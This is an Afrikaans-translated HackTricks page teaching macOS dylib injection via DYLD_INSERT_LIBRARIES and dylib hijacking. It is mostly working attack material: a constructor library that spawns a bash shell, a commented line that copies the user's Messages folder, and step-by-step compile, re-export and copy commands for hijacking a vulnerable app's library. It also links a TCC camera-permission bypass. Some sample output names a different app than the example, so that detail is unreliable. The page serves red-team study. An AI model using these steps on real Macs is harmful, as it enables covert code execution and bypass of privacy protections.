macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

DYLD_INSERT_LIBRARIES Basiese voorbeeld

Biblioteek om in te spuit om 'n skul te hardloop:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Binêre teks om aan te val:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Injeksie:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Voorbeeld

Die geteikende kwesbare binêre lêer is /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

Met die vorige inligting weet ons dat dit nie die handtekening van die gelaai biblioteke nagaan nie en dit probeer 'n biblioteek laai vanaf:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Tog bestaan die eerste een nie:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat willekeurige kode uitvoer en dieselfde funksionaliteite uitvoer as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Kompilieer dit:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Die heruitvoerpad geskep in die biblioteek is relatief tot die laaier, laat ons dit verander na 'n absolute pad na die biblioteek om uit te voer:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Laastens, kopieer dit net na die gekaapte plek:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

En voer die binêre lêer uit en kontroleer of die biblioteek gelaai is:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehack in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Gebruik: [...]

'n Goeie uiteensetting oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word op https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Groter Skala

As jy van plan is om te probeer om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die /bin/bash uitvoering).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated